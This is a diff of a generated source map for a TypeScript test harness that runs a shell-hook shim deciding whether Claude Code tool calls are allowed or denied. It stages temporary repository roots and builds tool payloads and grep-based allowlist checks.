AI,EAAE,cAAc,EAAE,YAAY,EAAE,SAAS,CAAC,CAAC;QAC7E,EAAE,CAAC,SAAS,CAAC,WAAW,EAAE,EAAE,SAAS,EAAE,IAAI,EAAE,CAAC,CAAC;QAC/C,EAAE,CAAC,aAAa,CAAC,IAAI,CAAC,IAAI,CAAC,WAAW,EAAE,cAAc,CAAC,EACnD,IAAI,CAAC,SAAS,CAAC,EAAE,IAAI,EAAE,oBAAoB,EAAE,OAAO,EAAE,SAAS,EAAE,EAAE,IAAI,EAAE,CAAC,CAAC,GAAG,IAAI,CAAC,CAAC;QACxF,OAAO,IAAI,CAAC;IAChB,CAAC;IAED;;;;OAIG;IACH,kBAAkB,CAAC,OAAsB;QACrC,MAAM,IAAI,GAAG,IAAI,CAAC,KAAK,EAAE,CAAC;QAC1B,IAAI,OAAO,KAAK,IAAI,EAAE,CAAC;YACnB,MAAM,CAAC,GAAG,IAAA,eAAQ,EAAC,IAAI,CAAC,CAAC;YACzB,EAAE,CAAC,SAAS,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC,CAAC,EAAE,EAAE,SAAS,EAAE,IAAI,EAAE,CAAC,CAAC;YACnD,EAAE,CAAC,aAAa,CAAC,CAAC,EAAE,OAAO,CAAC,CAAC;QACjC,CAAC;QACD,OAAO,IAAI,CAAC;IAChB,CAAC;IAED,6DAA6D;IAC7D,WAAW,CAAC,OAAe;QACvB,OAAO,IAAI,CAAC,SAAS,CAAC,EAAE,SAAS,EAAE,MAAM,EAAE,UAAU,EAAE,EAAE,OAAO,EAAE,EAAE,CAAC,CAAC;IAC1E,CAAC;IAED,oFAAoF;IACpF,WAAW,CAAC,QAAgB;QACxB,OAAO,IAAI,CAAC,SAAS,CAAC,EAAE,SAAS,EAAE,MAAM,EAAE,UAAU,EAAE,EAAE,SAAS,EAAE,QAAQ,EAAE,EAAE,CAAC,CAAC;IACtF,CAAC;IAED,yFAAyF;IACzF,WAAW,CAAC,QAAgB,EAAE,QAAgB;QAC1C,OAAO,IAAI,CAAC,SAAS,CAAC,EAAE,SAAS,EAAE,QAAQ,EAAE,UAAU,EAAE,EAAE,SAAS,EAAE,QAAQ,EAAE,EAAE,CAAC,CAAC;IACxF,CAAC;IAED,8FAA8F;IAC9F,UAAU,CAAC,GAAW,EAAE,GAAW;QAC/B,OAAO,IAAI,CAAC,WAAW,CAAC,GAAG,EAAE,CAAC,GAAG,CAAC,CAAC,CAAC,OAAO,CAAC,GAAG,CAAC,CAAC;IACrD,CAAC;IAED;;;;;;;;OAQG;IACH,WAAW,CAAC,GAAW,EAAE,IAAuB;QAC5C,KAAK,MAAM,GAAG,IAAI,IAAI,EAAE,CAAC;YACrB,sFAAsF;YACtF,qFAAqF;YACrF,IAAI,GAAG,CAAC,QAAQ,CAAC,IAAI,CAAC;gBAAE,MAAM,IAAI,KAAK,CAAC,kDAAkD,IAAI,CAAC,SAAS,CAAC,GAAG,CAAC,EAAE,CAAC,CAAC;QACrH,CAAC;QACD,MAAM,MAAM,GAAG,IAAA,yBAAS,EAAC,MAAM,EAAE,CAAC,IAAI,EAAE,GAAG,CAAC,EAAE,EAAE,KAAK,EAAE,IAAI,CAAC,IAAI,CAAC,IAAI,CAAC,EAAE,QAAQ,EAAE,MAAM,EAAE,CAAC,CAAC;QAC5F,MAAM,IAAI,GAAG,IAAI,GAAG,CAAC,CAAC,MAAM,CAAC,MAAM,IAAI,EAAE,CAAC,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC,MAAM,CAAC,CAAC,IAAY,EAAW,EAAE,CAAC,IAAI,KAAK,EAAE,CAAC,CAAC,CAAC;QACvG,OAAO,IAAI,WAAW,CAAC,IAAI,CAAC,CAAC;IACjC,CAAC;CACJ;AApGD,kCAoGC;AAED,gGAAgG;AAChG,MAAa,WAAW;IACH,IAAI,CAAsB;IAE3C,YAAY,IAAyB;QACjC,IAAI,CAAC,IAAI,GAAG,IAAI,CAAC;IACrB,CAAC;IAED,OAAO,CAAC,GAAW;QACf,OAAO,IAAI,CAAC,IAAI,CAAC,GAAG,CAAC,GAAG,CAAC,CAAC;IAC9B,CAAC;CACJ;AAVD,kCAUC","sourcesContent":["import * as fs from 'fs';\nimport * as os from 'os';\nimport * as path from 'path';\nimport { spawnSync } from 'child_process';\nimport { renderShim, shimPath } from './shim';\n\n/**\n * The shim's PreToolUse deny payload, as it prints it on stdout. Named (not an inline literal on the\n * JSON.parse cast) so the wire shape this testkit depends on is stated once, in one place.\n */\nexport class HookSpecificOutput {\n constructor(public readonly permissionDecisionReason: string) {}\n}\n\n/** The decision envelope wrapping {@link HookSpecificOutput}. */\nexport class PreToolUseDecision {\n constructor(public readonly hookSpecificOutput: HookSpecificOutput) {}\n}\n\n/** The outcome of one shim invocation. Data-only → a class, per CLAUDE.md. */\nexport class ShimRun {\n constructor(\n public readonly status: number | null,\n public readonly stdout: string,\n public readonly stderr: string,\n ) {}\n\n /** True when the shim emitted a PreToolUse deny. */\n isDenied(): boolean {\n return this.stdout.includes('\"permissionDecision\":\"deny\"');\n }\n\n /**\n * The deny REASON, parsed out of the PreToolUse JSON.\n * @throws if this run was not a deny (there is no reason to read).\n */\n denyReason(): string {\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n const decision = JSON.parse(this.stdout) as PreToolUseDecision;\n return decision.hookSpecificOutput.permissionDecisionReason;\n }\n}\n\n/**\n * ShimTestkit — the shared harness for driving the rendered shim through a REAL /bin/sh.\n *\n * Extracted so setup.spec.ts and shim-drift.spec.ts drive the shim the SAME way instead of each\n * keeping its own copy: the shim's entire contract is \"what /bin/sh actually does with it\", so two\n * drifting harnesses would silently become two different contracts.\n *\n * An instance class (not module-scope functions) because this is normal source to the linter — only\n * *.spec.ts is exempt from no-function-outside-class, and a testkit should not need a disable comment\n * to exist.\n */\nexport class ShimTestkit {\n /** A throwaway repo root under the OS temp dir. */\n mktmp(): string {\n return fs.mkdtempSync(path.join(os.tmpdir(), 'wp-setup-'));\n }\n\n /**\n * Run the rendered shim exactly as Claude Code would: `sh <shim> <bin> ...`, from a repo cwd,\n * piping tool-payload JSON on stdin. spawnSync never throws on non-zero exit.\n */\n runShim(root: string, bin: string, stdin: string): ShimRun {\n // Place the shim at its REAL relative location (<root>/.claude/webpieces/ai-hook.sh) so its\n // self-location (`dirname $0/../..` → <root>) resolves the bin correctly. Run it from a SUBDIR\n // to prove it does not depend on the caller's cwd.\n const shimAbs = path.join(root, '.claude', 'webpieces', 'ai-hook.sh');\n fs.mkdirSync(path.dirname(shimAbs), { recursive: true });\n fs.writeFileSync(shimAbs, renderShim(), { mode: 0o755 });\n const subdir = path.join(root, 'packages', 'deep', 'sub');\n fs.mkdirSync(subdir, { recursive: true });\n const r = spawnSync('/bin/sh', [shimAbs, bin], { cwd: subdir, input: stdin, encoding: 'utf8' });\n return new ShimRun(r.status, r.stdout, r.stderr);\n }\n\n /**\n * A repo root staged so the shim's VERSION-DRIFT check (fault D) fires: an installed guard bin, a\n * declared @webpieces/pr-gate pin in package.json, and a different installed version in\n * node_modules. The fake bin prints EXECED, so \"the guards actually ran\" is observable in stdout —\n * pass matching versions to stage the no-drift case instead.\n *\n * Lives here rather than in one spec because two spec files now need the identical staging, and a\n * second copy is a second definition of what \"drift\" means.\n */\n stageDriftRoot(declared: string, installed: string): string {\n const root = this.mktmp();\n const binDir = path.join(root, 'node_modules', '.bin');\n fs.mkdirSync(binDir, { recursive: true });\n fs.writeFileSync(path.join(binDir, 'wp-ai-guards-hook'), '#!/bin/sh\\nprintf EXECED\\n', { mode: 0o755 });\n fs.writeFileSync(path.join(root, 'package.json'),\n JSON.stringify({ dependencies: { '@webpieces/pr-gate': declared } }, null, 2) + '\\n');\n const manifestDir = path.join(root, 'node_modules', '@webpieces', 'pr-gate');\n fs.mkdirSync(manifestDir, { recursive: true });\n fs.writeFileSync(path.join(manifestDir, 'package.json'),\n JSON.stringify({ name: '@webpieces/pr-gate', version: installed }, null, 2) + '\\n');\n return root;\n }\n\n /**\n * A throwaway repo root that OWNS a committed shim at shimPath(root) with the given contents\n * (null = no shim at all, i.e. a fresh clone / global install). Shared by the two spec files that\n * exercise the committed-shim self-guard, so \"a root with a shim in it\" has one definition.\n */\n stageCommittedShim(content: string | null): string {\n const root = this.mktmp();\n if (content !== null) {\n const p = shimPath(root);\n fs.mkdirSync(path.dirname(p), { recursive: true });\n fs.writeFileSync(p, content);\n }\n return root;\n }\n\n /** A Bash tool payload, as Claude Code sends it on stdin. */\n bashPayload(command: string): string {\n return JSON.stringify({ tool_name: 'Bash', tool_input: { command } });\n }\n\n /** A Read payload — the L0 allowlist entry that keeps a broken tree inspectable. */\n readPayload(filePath: string): string {\n return JSON.stringify({ tool_name: 'Read', tool_input: { file_path: filePath } });\n }\n\n /** A file-tool payload, for the always-allowed webpieces.config.json recovery target. */\n filePayload(toolName: string, filePath: string): string {\n return JSON.stringify({ tool_name: toolName, tool_input: { file_path: filePath } });\n }\n\n /** True when `cmd` matches a POSIX ERE, judged by the SAME `grep -E` the shim itself runs. */\n ereMatches(ere: string, cmd: string): boolean {\n return this.ereMatchSet(ere, [cmd]).matched(cmd);\n }\n\n /**\n * Which of `cmds` that same `grep -E` matches — answered in ONE grep process for the whole batch.\n *\n * grep is a line matcher, so feeding N commands as N lines asks exactly the question `-Eq` answers\n * per command; the engine, the ERE and the anchors are unchanged. What changes is cost: a process\n * spawn is ~5ms on an idle machine but ~100ms when the suite runs projects in parallel, so a\n * 16-command twin check used to be 16 spawns (~2s of pure spawn latency) for one grep pass. That\n * is what made these files miss the per-test timeout under load.\n */\n ereMatchSet(ere: string, cmds: readonly string[]): EreMatchSet {\n for (const cmd of cmds) {\n // A command carrying a newline would arrive at grep as TWO lines and be judged as two\n // different commands — a silently wrong answer. Nothing in the allowlists does this.\n if (cmd.includes('\\n')) throw new Error(`ereMatchSet cannot batch a multi-line command: ${JSON.stringify(cmd)}`);\n }\n const result = spawnSync('grep', ['-E', ere], { input: cmds.join('\\n'), encoding: 'utf8' });\n const hits = new Set((result.stdout ?? '').split('\\n').filter((line: string): boolean => line !== ''));\n return new EreMatchSet(hits);\n }\n}\n\n/** The lines `grep -E` matched in one batched run — ask it per command with {@link matched}. */\nexport class EreMatchSet {\n private readonly hits: ReadonlySet<string>;\n\n constructor(hits: ReadonlySet<string>) {\n this.hits = hits;\n }\n\n matched(cmd: string): boolean {\n return this.hits.has(cmd);\n }\n}\n"]}
|
|
1
|
+
{"version":3,"file":"shim-testkit.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/bin/shim-testkit.ts"],"names":[],"mappings":";;;;AAAA,+CAAyB;AACzB,+CAAyB;AACzB,mDAA6B;AAC7B,iDAA0C;AAC1C,iCAA8C;AAE9C;;;GAGG;AACH,MAAa,kBAAkB;IACC;IAA5B,YAA4B,wBAAgC;QAAhC,6BAAwB,GAAxB,wBAAwB,CAAQ;IAAG,CAAC;CACnE;AAFD,gDAEC;AAED,iEAAiE;AACjE,MAAa,kBAAkB;IACC;IAA5B,YAA4B,kBAAsC;QAAtC,uBAAkB,GAAlB,kBAAkB,CAAoB;IAAG,CAAC;CACzE;AAFD,gDAEC;AAED,8EAA8E;AAC9E,MAAa,OAAO;IAEI;IACA;IACA;IAHpB,YACoB,MAAqB,EACrB,MAAc,EACd,MAAc;QAFd,WAAM,GAAN,MAAM,CAAe;QACrB,WAAM,GAAN,MAAM,CAAQ;QACd,WAAM,GAAN,MAAM,CAAQ;IAC/B,CAAC;IAEJ,oDAAoD;IACpD,QAAQ;QACJ,OAAO,IAAI,CAAC,MAAM,CAAC,QAAQ,CAAC,6BAA6B,CAAC,CAAC;IAC/D,CAAC;IAED;;;OAGG;IACH,UAAU;QACN,8DAA8D;QAC9D,MAAM,QAAQ,GAAG,IAAI,CAAC,KAAK,CAAC,IAAI,CAAC,MAAM,CAAuB,CAAC;QAC/D,OAAO,QAAQ,CAAC,kBAAkB,CAAC,wBAAwB,CAAC;IAChE,CAAC;CACJ;AArBD,0BAqBC;AAED;;;;;;;;;;GAUG;AACH,MAAa,WAAW;IACpB,mDAAmD;IACnD,KAAK;QACD,OAAO,EAAE,CAAC,WAAW,CAAC,IAAI,CAAC,IAAI,CAAC,EAAE,CAAC,MAAM,EAAE,EAAE,WAAW,CAAC,CAAC,CAAC;IAC/D,CAAC;IAED;;;OAGG;IACH,OAAO,CAAC,IAAY,EAAE,GAAW,EAAE,KAAa;QAC5C,4FAA4F;QAC5F,+FAA+F;QAC/F,mDAAmD;QACnD,MAAM,OAAO,GAAG,IAAI,CAAC,IAAI,CAAC,IAAI,EAAE,SAAS,EAAE,WAAW,EAAE,YAAY,CAAC,CAAC;QACtE,EAAE,CAAC,SAAS,CAAC,IAAI,CAAC,OAAO,CAAC,OAAO,CAAC,EAAE,EAAE,SAAS,EAAE,IAAI,EAAE,CAAC,CAAC;QACzD,EAAE,CAAC,aAAa,CAAC,OAAO,EAAE,IAAA,iBAAU,GAAE,EAAE,EAAE,IAAI,EAAE,KAAK,EAAE,CAAC,CAAC;QACzD,MAAM,MAAM,GAAG,IAAI,CAAC,IAAI,CAAC,IAAI,EAAE,UAAU,EAAE,MAAM,EAAE,KAAK,CAAC,CAAC;QAC1D,EAAE,CAAC,SAAS,CAAC,MAAM,EAAE,EAAE,SAAS,EAAE,IAAI,EAAE,CAAC,CAAC;QAC1C,MAAM,CAAC,GAAG,IAAA,yBAAS,EAAC,SAAS,EAAE,CAAC,OAAO,EAAE,GAAG,CAAC,EAAE,EAAE,GAAG,EAAE,MAAM,EAAE,KAAK,EAAE,KAAK,EAAE,QAAQ,EAAE,MAAM,EAAE,CAAC,CAAC;QAChG,OAAO,IAAI,OAAO,CAAC,CAAC,CAAC,MAAM,EAAE,CAAC,CAAC,MAAM,EAAE,CAAC,CAAC,MAAM,CAAC,CAAC;IACrD,CAAC;IAED;;;;;;;;OAQG;IACH,cAAc,CAAC,QAAgB,EAAE,SAAiB;QAC9C,MAAM,IAAI,GAAG,IAAI,CAAC,KAAK,EAAE,CAAC;QAC1B,MAAM,MAAM,GAAG,IAAI,CAAC,IAAI,CAAC,IAAI,EAAE,cAAc,EAAE,MAAM,CAAC,CAAC;QACvD,EAAE,CAAC,SAAS,CAAC,MAAM,EAAE,EAAE,SAAS,EAAE,IAAI,EAAE,CAAC,CAAC;QAC1C,EAAE,CAAC,aAAa,CAAC,IAAI,CAAC,IAAI,CAAC,MAAM,EAAE,mBAAmB,CAAC,EAAE,4BAA4B,EAAE,EAAE,IAAI,EAAE,KAAK,EAAE,CAAC,CAAC;QACxG,EAAE,CAAC,aAAa,CAAC,IAAI,CAAC,IAAI,CAAC,IAAI,EAAE,cAAc,CAAC,EAC5C,IAAI,CAAC,SAAS,CAAC,EAAE,YAAY,EAAE,EAAE,oBAAoB,EAAE,QAAQ,EAAE,EAAE,EAAE,IAAI,EAAE,CAAC,CAAC,GAAG,IAAI,CAAC,CAAC;QAC1F,MAAM,WAAW,GAAG,IAAI,CAAC,IAAI,CAAC,IAAI,EAAE,cAAc,EAAE,YAAY,EAAE,SAAS,CAAC,CAAC;QAC7E,EAAE,CAAC,SAAS,CAAC,WAAW,EAAE,EAAE,SAAS,EAAE,IAAI,EAAE,CAAC,CAAC;QAC/C,EAAE,CAAC,aAAa,CAAC,IAAI,CAAC,IAAI,CAAC,WAAW,EAAE,cAAc,CAAC,EACnD,IAAI,CAAC,SAAS,CAAC,EAAE,IAAI,EAAE,oBAAoB,EAAE,OAAO,EAAE,SAAS,EAAE,EAAE,IAAI,EAAE,CAAC,CAAC,GAAG,IAAI,CAAC,CAAC;QACxF,OAAO,IAAI,CAAC;IAChB,CAAC;IAED;;;;;;;OAOG;IACH,iBAAiB,CAAC,WAAmB,SAAS;QAC1C,MAAM,IAAI,GAAG,IAAI,CAAC,KAAK,EAAE,CAAC;QAC1B,EAAE,CAAC,aAAa,CAAC,IAAI,CAAC,IAAI,CAAC,IAAI,EAAE,cAAc,CAAC,EAC5C,IAAI,CAAC,SAAS,CAAC,EAAE,eAAe,EAAE,EAAE,0BAA0B,EAAE,QAAQ,EAAE,EAAE,EAAE,IAAI,EAAE,CAAC,CAAC,GAAG,IAAI,CAAC,CAAC;QACnG,OAAO,IAAI,CAAC;IAChB,CAAC;IAED;;;;OAIG;IACH,kBAAkB,CAAC,OAAsB;QACrC,MAAM,IAAI,GAAG,IAAI,CAAC,KAAK,EAAE,CAAC;QAC1B,IAAI,OAAO,KAAK,IAAI,EAAE,CAAC;YACnB,MAAM,CAAC,GAAG,IAAA,eAAQ,EAAC,IAAI,CAAC,CAAC;YACzB,EAAE,CAAC,SAAS,CAAC,IAAI,CAAC,OAAO,CAAC,CAAC,CAAC,EAAE,EAAE,SAAS,EAAE,IAAI,EAAE,CAAC,CAAC;YACnD,EAAE,CAAC,aAAa,CAAC,CAAC,EAAE,OAAO,CAAC,CAAC;QACjC,CAAC;QACD,OAAO,IAAI,CAAC;IAChB,CAAC;IAED,6DAA6D;IAC7D,WAAW,CAAC,OAAe;QACvB,OAAO,IAAI,CAAC,SAAS,CAAC,EAAE,SAAS,EAAE,MAAM,EAAE,UAAU,EAAE,EAAE,OAAO,EAAE,EAAE,CAAC,CAAC;IAC1E,CAAC;IAED,oFAAoF;IACpF,WAAW,CAAC,QAAgB;QACxB,OAAO,IAAI,CAAC,SAAS,CAAC,EAAE,SAAS,EAAE,MAAM,EAAE,UAAU,EAAE,EAAE,SAAS,EAAE,QAAQ,EAAE,EAAE,CAAC,CAAC;IACtF,CAAC;IAED,yFAAyF;IACzF,WAAW,CAAC,QAAgB,EAAE,QAAgB;QAC1C,OAAO,IAAI,CAAC,SAAS,CAAC,EAAE,SAAS,EAAE,QAAQ,EAAE,UAAU,EAAE,EAAE,SAAS,EAAE,QAAQ,EAAE,EAAE,CAAC,CAAC;IACxF,CAAC;IAED,8FAA8F;IAC9F,UAAU,CAAC,GAAW,EAAE,GAAW;QAC/B,OAAO,IAAI,CAAC,WAAW,CAAC,GAAG,EAAE,CAAC,GAAG,CAAC,CAAC,CAAC,OAAO,CAAC,GAAG,CAAC,CAAC;IACrD,CAAC;IAED;;;;;;;;OAQG;IACH,WAAW,CAAC,GAAW,EAAE,IAAuB;QAC5C,KAAK,MAAM,GAAG,IAAI,IAAI,EAAE,CAAC;YACrB,sFAAsF;YACtF,qFAAqF;YACrF,IAAI,GAAG,CAAC,QAAQ,CAAC,IAAI,CAAC;gBAAE,MAAM,IAAI,KAAK,CAAC,kDAAkD,IAAI,CAAC,SAAS,CAAC,GAAG,CAAC,EAAE,CAAC,CAAC;QACrH,CAAC;QACD,MAAM,MAAM,GAAG,IAAA,yBAAS,EAAC,MAAM,EAAE,CAAC,IAAI,EAAE,GAAG,CAAC,EAAE,EAAE,KAAK,EAAE,IAAI,CAAC,IAAI,CAAC,IAAI,CAAC,EAAE,QAAQ,EAAE,MAAM,EAAE,CAAC,CAAC;QAC5F,MAAM,IAAI,GAAG,IAAI,GAAG,CAAC,CAAC,MAAM,CAAC,MAAM,IAAI,EAAE,CAAC,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC,MAAM,CAAC,CAAC,IAAY,EAAW,EAAE,CAAC,IAAI,KAAK,EAAE,CAAC,CAAC,CAAC;QACvG,OAAO,IAAI,WAAW,CAAC,IAAI,CAAC,CAAC;IACjC,CAAC;CACJ;AAnHD,kCAmHC;AAED,gGAAgG;AAChG,MAAa,WAAW;IACH,IAAI,CAAsB;IAE3C,YAAY,IAAyB;QACjC,IAAI,CAAC,IAAI,GAAG,IAAI,CAAC;IACrB,CAAC;IAED,OAAO,CAAC,GAAW;QACf,OAAO,IAAI,CAAC,IAAI,CAAC,GAAG,CAAC,GAAG,CAAC,CAAC;IAC9B,CAAC;CACJ;AAVD,kCAUC","sourcesContent":["import * as fs from 'fs';\nimport * as os from 'os';\nimport * as path from 'path';\nimport { spawnSync } from 'child_process';\nimport { renderShim, shimPath } from './shim';\n\n/**\n * The shim's PreToolUse deny payload, as it prints it on stdout. Named (not an inline literal on the\n * JSON.parse cast) so the wire shape this testkit depends on is stated once, in one place.\n */\nexport class HookSpecificOutput {\n constructor(public readonly permissionDecisionReason: string) {}\n}\n\n/** The decision envelope wrapping {@link HookSpecificOutput}. */\nexport class PreToolUseDecision {\n constructor(public readonly hookSpecificOutput: HookSpecificOutput) {}\n}\n\n/** The outcome of one shim invocation. Data-only → a class, per CLAUDE.md. */\nexport class ShimRun {\n constructor(\n public readonly status: number | null,\n public readonly stdout: string,\n public readonly stderr: string,\n ) {}\n\n /** True when the shim emitted a PreToolUse deny. */\n isDenied(): boolean {\n return this.stdout.includes('\"permissionDecision\":\"deny\"');\n }\n\n /**\n * The deny REASON, parsed out of the PreToolUse JSON.\n * @throws if this run was not a deny (there is no reason to read).\n */\n denyReason(): string {\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n const decision = JSON.parse(this.stdout) as PreToolUseDecision;\n return decision.hookSpecificOutput.permissionDecisionReason;\n }\n}\n\n/**\n * ShimTestkit — the shared harness for driving the rendered shim through a REAL /bin/sh.\n *\n * Extracted so setup.spec.ts and shim-drift.spec.ts drive the shim the SAME way instead of each\n * keeping its own copy: the shim's entire contract is \"what /bin/sh actually does with it\", so two\n * drifting harnesses would silently become two different contracts.\n *\n * An instance class (not module-scope functions) because this is normal source to the linter — only\n * *.spec.ts is exempt from no-function-outside-class, and a testkit should not need a disable comment\n * to exist.\n */\nexport class ShimTestkit {\n /** A throwaway repo root under the OS temp dir. */\n mktmp(): string {\n return fs.mkdtempSync(path.join(os.tmpdir(), 'wp-setup-'));\n }\n\n /**\n * Run the rendered shim exactly as Claude Code would: `sh <shim> <bin> ...`, from a repo cwd,\n * piping tool-payload JSON on stdin. spawnSync never throws on non-zero exit.\n */\n runShim(root: string, bin: string, stdin: string): ShimRun {\n // Place the shim at its REAL relative location (<root>/.claude/webpieces/ai-hook.sh) so its\n // self-location (`dirname $0/../..` → <root>) resolves the bin correctly. Run it from a SUBDIR\n // to prove it does not depend on the caller's cwd.\n const shimAbs = path.join(root, '.claude', 'webpieces', 'ai-hook.sh');\n fs.mkdirSync(path.dirname(shimAbs), { recursive: true });\n fs.writeFileSync(shimAbs, renderShim(), { mode: 0o755 });\n const subdir = path.join(root, 'packages', 'deep', 'sub');\n fs.mkdirSync(subdir, { recursive: true });\n const r = spawnSync('/bin/sh', [shimAbs, bin], { cwd: subdir, input: stdin, encoding: 'utf8' });\n return new ShimRun(r.status, r.stdout, r.stderr);\n }\n\n /**\n * A repo root staged so the shim's VERSION-DRIFT check (fault D) fires: an installed guard bin, a\n * declared @webpieces/pr-gate pin in package.json, and a different installed version in\n * node_modules. The fake bin prints EXECED, so \"the guards actually ran\" is observable in stdout —\n * pass matching versions to stage the no-drift case instead.\n *\n * Lives here rather than in one spec because two spec files now need the identical staging, and a\n * second copy is a second definition of what \"drift\" means.\n */\n stageDriftRoot(declared: string, installed: string): string {\n const root = this.mktmp();\n const binDir = path.join(root, 'node_modules', '.bin');\n fs.mkdirSync(binDir, { recursive: true });\n fs.writeFileSync(path.join(binDir, 'wp-ai-guards-hook'), '#!/bin/sh\\nprintf EXECED\\n', { mode: 0o755 });\n fs.writeFileSync(path.join(root, 'package.json'),\n JSON.stringify({ dependencies: { '@webpieces/pr-gate': declared } }, null, 2) + '\\n');\n const manifestDir = path.join(root, 'node_modules', '@webpieces', 'pr-gate');\n fs.mkdirSync(manifestDir, { recursive: true });\n fs.writeFileSync(path.join(manifestDir, 'package.json'),\n JSON.stringify({ name: '@webpieces/pr-gate', version: installed }, null, 2) + '\\n');\n return root;\n }\n\n /**\n * A repo root that DECLARES @webpieces/ai-hook-rules but has nothing installed — fault X, the\n * ordinary fresh-clone / new-worktree case whose cure really is `pnpm install`.\n *\n * A bare mktmp() root is NOT this case, and that distinction is the whole point of fault U: with no\n * package.json at all, nothing asks for the package and `pnpm install` is a no-op. Every X spec must\n * stage the declaration explicitly, or it silently asserts against the U message instead.\n */\n stageDeclaredRoot(declared: string = '0.4.574'): string {\n const root = this.mktmp();\n fs.writeFileSync(path.join(root, 'package.json'),\n JSON.stringify({ devDependencies: { '@webpieces/ai-hook-rules': declared } }, null, 2) + '\\n');\n return root;\n }\n\n /**\n * A throwaway repo root that OWNS a committed shim at shimPath(root) with the given contents\n * (null = no shim at all, i.e. a fresh clone / global install). Shared by the two spec files that\n * exercise the committed-shim self-guard, so \"a root with a shim in it\" has one definition.\n */\n stageCommittedShim(content: string | null): string {\n const root = this.mktmp();\n if (content !== null) {\n const p = shimPath(root);\n fs.mkdirSync(path.dirname(p), { recursive: true });\n fs.writeFileSync(p, content);\n }\n return root;\n }\n\n /** A Bash tool payload, as Claude Code sends it on stdin. */\n bashPayload(command: string): string {\n return JSON.stringify({ tool_name: 'Bash', tool_input: { command } });\n }\n\n /** A Read payload — the L0 allowlist entry that keeps a broken tree inspectable. */\n readPayload(filePath: string): string {\n return JSON.stringify({ tool_name: 'Read', tool_input: { file_path: filePath } });\n }\n\n /** A file-tool payload, for the always-allowed webpieces.config.json recovery target. */\n filePayload(toolName: string, filePath: string): string {\n return JSON.stringify({ tool_name: toolName, tool_input: { file_path: filePath } });\n }\n\n /** True when `cmd` matches a POSIX ERE, judged by the SAME `grep -E` the shim itself runs. */\n ereMatches(ere: string, cmd: string): boolean {\n return this.ereMatchSet(ere, [cmd]).matched(cmd);\n }\n\n /**\n * Which of `cmds` that same `grep -E` matches — answered in ONE grep process for the whole batch.\n *\n * grep is a line matcher, so feeding N commands as N lines asks exactly the question `-Eq` answers\n * per command; the engine, the ERE and the anchors are unchanged. What changes is cost: a process\n * spawn is ~5ms on an idle machine but ~100ms when the suite runs projects in parallel, so a\n * 16-command twin check used to be 16 spawns (~2s of pure spawn latency) for one grep pass. That\n * is what made these files miss the per-test timeout under load.\n */\n ereMatchSet(ere: string, cmds: readonly string[]): EreMatchSet {\n for (const cmd of cmds) {\n // A command carrying a newline would arrive at grep as TWO lines and be judged as two\n // different commands — a silently wrong answer. Nothing in the allowlists does this.\n if (cmd.includes('\\n')) throw new Error(`ereMatchSet cannot batch a multi-line command: ${JSON.stringify(cmd)}`);\n }\n const result = spawnSync('grep', ['-E', ere], { input: cmds.join('\\n'), encoding: 'utf8' });\n const hits = new Set((result.stdout ?? '').split('\\n').filter((line: string): boolean => line !== ''));\n return new EreMatchSet(hits);\n }\n}\n\n/** The lines `grep -E` matched in one batched run — ask it per command with {@link matched}. */\nexport class EreMatchSet {\n private readonly hits: ReadonlySet<string>;\n\n constructor(hits: ReadonlySet<string>) {\n this.hits = hits;\n }\n\n matched(cmd: string): boolean {\n return this.hits.has(cmd);\n }\n}\n"]}
|